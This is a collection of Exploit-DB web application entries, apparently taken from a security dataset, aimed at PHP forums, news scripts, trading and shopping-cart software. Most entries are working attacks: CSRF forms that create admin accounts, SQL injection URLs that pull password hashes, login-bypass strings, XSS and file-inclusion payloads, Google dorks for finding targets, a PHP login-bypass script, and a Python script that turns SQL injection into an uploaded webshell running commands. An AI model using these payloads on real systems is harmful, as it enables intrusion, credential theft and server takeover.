deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12385
Description: TR Forum 1.5 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-04-25
Author: EL-KAHINA

Exploit:
========================================================================================                  
| # Title    : TR Forum 1.5 insert admin CSRF Vulnerability           
| # Author   : EL-KAHINA                                                               
| # email    : No-Mail                                                  
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                                   
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : CSRF                                                                     
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 insert admin CSRF :
 
 <html>
<head>
<form name="poster" method="post" action="http://127.0.0.1/forum/admin/insert_admin.php">
  <table class="header" border="0" align="center" width="500">
    <tr>
      <td align="center"><font class="titre">Ajouter un modérateur</font></td>
    </tr>
  </table>
  <br>
     <CENTER><EMBED align=left 
src=http://h1.ripway.com/ma3karouna/1.mp3
  <table class="right" width="500" border="0" align="center" >
<tr>
  <td class="text">login</td>
  <td><input type="text" name="login"></td>
</tr>
<tr>
  <td class="text">password</td>
  <td><input type="password" name="password"></td>
</tr>
<tr>
  <td class="text">email</td>
  <td><input type="text" name="mail"></td>
</tr>
<tr>
<td colspan="2" align="right"><input class="button" type="submit" value="valider"></td>
</tr>
</table>
<br>
</form>
</body>
</html>
 
==========================================
Greetz : Exploit-db Team 
all my friend :(Dz-Ghost Team ) 
im indoushka's sister
------------------------------------------
Exploit-DB #12446
Description: TR Forum 1.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : TR Forum 1.5 Mullti Vulnerability           
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                                   
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - Reinstall Admin information :
 
 http://127.0.0.1/forum/install/install.php?page=etape3&v=no
 
 2 - SQl Inj:
 
 http://127.0.0.1/forum/index.php?page='&total=2
 
 3 - XSS
 
 http://127.0.0.1/forum/repondre.php?id=>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt> (You Can use cookie Graber)
 

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #6991
Description: TR News 2.1 - 'login.php' Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-04
Author: StAkeR

Exploit:
<?php

error_reporting(0);

/*
   ------------------------------------------------------
   TR News <= 2.1 (login.php) Remote Login ByPass Exploit
   ------------------------------------------------------
   By StAkeR[at]hotmail[dot]it
   http://www.easy-script.com/scripts-dl/trscript-21.zip

   File admin/login.php
   
   1. <?
   2.	if(isset($_POST['login_ad']) && ($_POST['password']))
   3.   {
   4.	include("../include/connexion.php");
   5.	$login=$_POST["login_ad"];
   6.	$pass=md5($_POST["password"]);
   7.	$sql="SELECT * FROM tr_user_news WHERE pseudo='$login' AND pass='$pass';";
   8.	$p = mysql_query($sql);
   9.	$row = mysql_fetch_assoc($p);
  10.	$admin = $row['admin'];
  11.	if($admin != 1)
  
  $login = $_POST"login_ad"]; isn't escaped,so you can insert SQL code...
  how to fix? sanize $login with mysql_real_escape_string or htmlentities
  
  
  NOTE:
  
  if the website is vulnerable,you must go to admin/login.php
  
  Username: ' or 1=1#
  Password: no-deface
  
*/

if(preg_match('/http://(.+?)/i',$argv[1]) or empty($argv[1])) athos();

$host = explode('/',$argv[1]);
$auth = "login_ad=%27+or+1%3D1%23&password=athos";


$data = "POST /$host[1]/admin/login.php HTTP/1.1\r\n". 
        "Host: $host[0]\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "Content-Length: ".strlen($auth)."\r\n\r\n".
        "$auth\r\n\r\n";
  
  
if(!$socket = fsockopen($host[0],80)) die("fsockopen() error!\n");  
if(!fputs($socket,$data)) die("fputs() error!\n");


while(!feof($socket))
{
  $content .= fgets($socket);
} fclose($socket);

if(preg_match("/location: main\.php\?mode=main/i",$content))
{
  exploiting();
  echo "\n[+] Exploit Successfully!\n[+] Site Vulnerable\n";
  exit;
}
else
{
  exploiting();
  echo "\n[+] Exploit Failed!\n[+] Site Not Vulnerable!\n";
  exit;
}
  
function athos()
{
  global $argv;
  
  echo "[+] TR News <= 2.1 (login.php) Remote Login ByPass Exploit\n";
  echo "[+] Usage: php $argv[0] [host/path]\r\n";
  exit;
}
  
function exploiting()
{
  echo "[+] Exploiting";

  for($i=0;$i<=3;$i++) 
  {
    echo "."; 
    sleep(1);
  }
}  

# milw0rm.com [2008-11-04]
Exploit-DB #5483
Description: TR News 2.1 - 'nb' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-21
Author: His0k4

Exploit:
########################################################
#                                                      # 
#  Discovered by : His0k4 {Algerian HaCker}            #
#                                                      #
#  Email : His0k4.hlm[at]gmail[dot]com                 #
#                                                      #
#  Greetz to: All Dz & muslims HaCkeRs  :)               #
#                                                      #
#  Special Greetz:c02,Spym4n,THe-MooRiSH               #
#                                                      #
########################################################
#
#  Script   : Tr Script News v2.1
#
#  Download script     : http://www.easy-script.com/scripts-dl/trscript-21.zip
#
#  Dork        : inurl:news.php?mode=voir
#
#  Vulnerable file    : news.php
#
#  P.O.C
#  http://www.victime.com/[news_path]/news.php?mode=voir&nb=[SQL]
# 
#  Exemple:
#  http://www.victime.com/[news_path]/news.php?mode=voir&nb=-1/**/UNION/**/SELECT/**/1,2,3,4,concat_ws(0x3a,pseudo,pass,email),6,7/**/from/**/tr_user_news/*
#
#  Admin login: /admin
#
#  Note: you can upload a shell from the administrator board by going in this link "/admin/main.php?mode=ajout_cat" and it will be uploaded in "[news_path]/images/icone_cat/shell.php"
#
#############################################################################

# milw0rm.com [2008-04-21]
Exploit-DB #1789
Description: TR Newsportal 0.36tr1 - 'poll.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-15
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#TR Newsportal - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#dork: "TR Newsportal" brought by TRanx.
##################################################################
extras/poll/poll.php:
[code]
<?
include("$file_newsportal");
$ns=OpenNNTPconnection($server,$port);
flush();
if ($ns != false) {
 $headers = readOverview($ns,$group,1,true);
 closeNNTPconnection($ns);
}
?>
[/code]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[Newsportal_path]/extras/poll/poll.php?file_newsportal=[evil_scripts]


###################################################################
#Elo ;-)

# milw0rm.com [2006-05-15]
Exploit-DB #31855
Description: Tr Script News 2.1 - 'news.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-27
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29388/info

Tr Script News is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Tr Script News 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/news/news.php?mode=voir&nb=[XSS]
Exploit-DB #25123
Description: TrackerCam 5.12 - 'ComGetLogFile.php3?fm' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-02-18
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12592/info

TrackerCam is prone to multiple remote vulnerabilities, including buffer-overflow issues, a directory-traversal issue, an information-disclosure issue, an HTML-injection issue, and denial-of-service issues.

A remote attacker could exploit these issues to execute arbitrary code, obtain potentially sensitive information, launch phishing attacks or steal cookie based authentication credentials, and deny service to legitimate users. 

http://www.example.com:8090/MessageBoard/messages.php?aaaaaaaaaaa[256]aaaa
http://www.example.com:8090/tuner/ComGetLogFile.php3?fn=../../../../windows/system.ini
http://www.example.com:8090/tuner/ComGetLogFile.php3?fn=Eye2005_02.log
Exploit-DB #35523
Description: Tracks 1.7.2 - URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-29
Author: Mesut Timur

Exploit:
source: https://www.securityfocus.com/bid/47078/info

Tracks is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Tracks 1.7.2 is vulnerable; other versions may also be affected.

http://example.com/todos/tag/&#039;"--></style></script><script>alert(0x000238)</script>
Exploit-DB #11412
Description: Trade Manager Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-11
Author: JaMbA

Exploit:
:::::::::::::::::::::::::

Exploit Title : Trade Manager  Script SQL injection Vulnerability

Author : JaMbA

Script Site : www.commodityrentals.com

Version : All Versions

Tested on : Windows & Linux

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

=====================================Exploit===============

=========================

[ EXPL0!T ]

http://server/products.php?cid=-17+UnioN+AlL+SelEct+1,concat(sb_lastlogin,0x3e,sb_password),3,4,5,6,7,8+from+trade_members--

===========================================================
 Good luck for the Tunisian team handball in Can
=========================

Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek
=== 3SI lycee jbel jloud ====
Exploit-DB #46671
Description: Tradebox CryptoCurrency - 'symbol' SQL Injection
Type: webapps
Platform: php
Date: 2019-04-08
Author: Abdullah Çelebi

Exploit:
 # Title: Tradebox - CryptoCurrency Buy Sell and Trading
# Date: 04.04.2019
# Exploit Author: Abdullah Çelebi
# Vendor Homepage: https://www.bdtask.com
# Software Link: tradebox.bdtask.com/demo-v5.3/
# Version: 5.4
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
Tradebox – CryptoCurrency Buy Sell and Trading Software. Tradebox is for
the cryptocurrency trading and selling.even you can request for buy and
sell at a specific price. There have withdrawal and deposit option.

# Vulnerabilities:
# An attacker can access all data following an authorized user login using
the parameter.


# POC - SQLi :

# Parameter: symbol (POST)
# Request URL: http://localhost/backend/dashboard/home/monthly_deposit
#    Type : boolean-based blind
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' AND 8149=8149
AND 'PuLt'='PuLt

#    Type : time-based blind
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' OR (SELECT *
FROM (SELECT(SLEEP(5)))rBnp) AND 'wNyS'='wNyS

#    Type : error-based
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' AND (SELECT
5276 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(5276=5276,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CnKo'='CnKo

#    Type : generic union
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' UNION ALL
SELECT
NULL,CONCAT(0x[PII_REDACTED],0x75664d4466634a4d505554424d6d6a577957506a51534d734c6e7551516f436f71444e77796f4a63,0x[PII_REDACTED])--
Lzbq
Exploit-DB #41563
Description: TradeMart 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: TradeMart - B2B Trading Software v1.1 - SQL Injection
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: https://www.ncrypted.net/
# Software: https://www.ncrypted.net/trademart
# Demo: http://demo.ncryptedprojects.com/trademart/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/Search?by=p&q=&user=[SQL]
# Etc..
# # # # #
Exploit-DB #17523
Description: Tradingeye E-Commerce Shopping Cart - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-07-12
Author: $#4d0\/\/[r007k17]

Exploit:
# Exploit Title: Tradingeye Multiple Vulnerabilities
# Vendor:  www.tradingeye.com
# Date: 12th july,2011
# Author: $#4d0\/\/[r007k17] a.k.a Raghavendra Karthik D (
http://www.shadowrootkit.wordpress.com)
# Google Dork:  Powered by Tradingeye. 2009 Tradingeye v6 demo
*****************************************************************************************************************************************************************************************
BREIF DESCRIPTION
*****************************
Tradingeye is a fully-featured web standards compliant Shopping Cart & CMS,
built from the ground up with web accessibility and SEO in mind. Tradingeye
is the
 choice of thousands of online retailers who care about accessibility,
usability and most importantly - results.

******************************************************************************************************************************************************************************************

(Auth ByPass) SQLi Vulnerability
***************************************
{DEMO} : http://site.com/adminindex.php

EXPLOIT:
                 Username: ' or 0=0 #
                 Password: ' or 0=0 #
Observe: Attackers can use Authentication Bypass to get into Admin Panel in
the site.

Reflected XSS Vulnerability
********************************
EXPLOIT 2: Reflected XSS Vulnerability in admin panel(search field)

   {Demo}:
http://site.com/user/adminindex.php?action=user.home
    Exploit:  ">><marquee><h1>XSSed_by_r007k17</h1></marquee>

*****************************************************************************************************************************************************************************************
gr33t1ngs to s1d3 effects and my friends@!21/\/ _3lda@!3.14--
*****************************************************************************************************************************************************************************************
Exploit-DB #50244
Description: Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-09-01
Author: Tagoletta

Exploit:
# Exploit Title: Traffic Offense Management System 1.0 - SQLi to Remote Code Execution (RCE) (Unauthenticated)
# Date: 19.08.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: 1.0
# Tested on: Linux

import requests
import random
import string
import json
from bs4 import BeautifulSoup

url = input("TARGET = ")

if not url.startswith('http://') and not url.startswith('https://'):
    url = "http://" + url
if not url.endswith('/'):
    url = url + "/"

payload= "<?php if(isset($_GET['tago'])){ $cmd = ($_GET['tago']); system($cmd); die; } ?>"

let = string.ascii_lowercase
shellname = ''.join(random.choice(let) for i in range(15))


session = requests.session()

print("Login Bypass\n")

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "admin' or '1'='1'#", "password": ""}
bypassUser = session.post(request_url, data=post_data)
data = json.loads(bypassUser.text)
status = data["status"]
if status == "success":

    print("Finding first driver\n")

    getHTML = session.get(url + "admin/?page=drivers")
    getHTMLParser = BeautifulSoup(getHTML.text, 'html.parser')
    findFirstDriverID = getHTMLParser.find("a", {"class": "delete_data"}).get("data-id")

    print("Found firs driver ID : " + findFirstDriverID)

    print("\nFinding path")

    findPath = session.get(url + "admin/?page=drivers/manage_driver&id="+findFirstDriverID+'\'')
    findPath = findPath.text[findPath.text.index("<b>Warning</b>:  ")+17:findPath.text.index("</b> on line ")]
    findPath = findPath[findPath.index("<b>")+3:len(findPath)]

    parser = findPath.split('\\')
    parser.pop()
    findPath = ""
    for find in parser:
        findPath += find + "/"

    print("\nFound Path : " + findPath)
    shellPath = findPath[findPath.index("admin/"):len(findPath)]

    SQLtoRCE = "' LIMIT 0,1 INTO OUTFILE '#PATH#' LINES TERMINATED BY #PAYLOAD# -- -"
    SQLtoRCE = SQLtoRCE.replace("#PATH#",findPath+shellname+".php")
    SQLtoRCE = SQLtoRCE.replace("#PAYLOAD#", "0x3"+payload.encode("utf-8").hex())

    print("\n\nShell Uploading...")
    session.get(url + "admin/?page=drivers/manage_driver&id="+findFirstDriverID+SQLtoRCE)

    print("\nShell Path : " + url+shellPath+shellname+".php")
    shellOutput = session.get(url+shellPath+shellname+".php?tago=whoami")
    print("\n\nShell Output : "+shellOutput.text)

else:
    print("No bypass user")
Exploit-DB #4187
Description: Traffic Stats - 'referralUrl.php?offset' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-16
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+                  Traffic Stats SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: allintext:" If you would like to contact us, our email address is" traffic


DESCRIPTION:
pull out admin email/passwords


EXPLOITS:
http://server.com/Script_Dir/referralUrl.php?offset=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(email,0x3a,password)/**/FROM/**/StatAdmin/*


NOTE/TIP:
first you must register a account then click ad site, and add random sites, then paste injection
admin login is at /admin/ only password is needed :D


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net/G0t-Root.org !


--==+================================================================================+==--
--==+                  Traffic Stats SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-16]
Exploit-DB #10447
Description: Traidnt Discovery - Cross-Site Request Forgery (Create Staff Account)
Type: webapps
Platform: php
Date: 2009-12-14
Author: G0D-F4Th3r

Exploit:
# Exploit Title: Traidnt Discovery - [CSRF] Create Staff Account
# Date: 14-12-2009
# Author: G0D-F4Th3r
# Software Link: http://discovery.traidnt.com/demo/
# Version: 1.0

====================================[form]================================================
<html>
<body onload="javascript:fireForms()">

<form method="POST" name="form0" action="http://www.site.com/[path]/admincp/staff.php?do=addnew&go=add">
<input type="hidden" name="username" value="fuck"/>
<input type="hidden" name="password" value="fuckpass"/>
<input type="hidden" name="email" value="mail@mail.com<mailto:mail@mail.com>"/>
<input type="hidden" name="realname" value="fuck name"/>
<input type="hidden" name="sig" value=""/>
<input type="hidden" name="viewsig" value="0"/>
<input type="hidden" name="receivemsg" value="1"/>
<input type="hidden" name="cat_array[]" value="1"/>
<input type="hidden" name="cat_array[]" value="3"/>
<input type="hidden" name="cat_array[]" value="2"/>
<input type="hidden" name="viewserver" value="1"/>
<input type="hidden" name="viewonline" value="1"/>
<input type="hidden" name="sendmsg" value="1"/>
<input type="hidden" name="accessbill" value="1"/>
<input type="hidden" name="editcard" value="1"/>
<input type="hidden" name="editcomm" value="1"/>
<input type="hidden" name="service" value="1"/>
</form>
</body>
</html>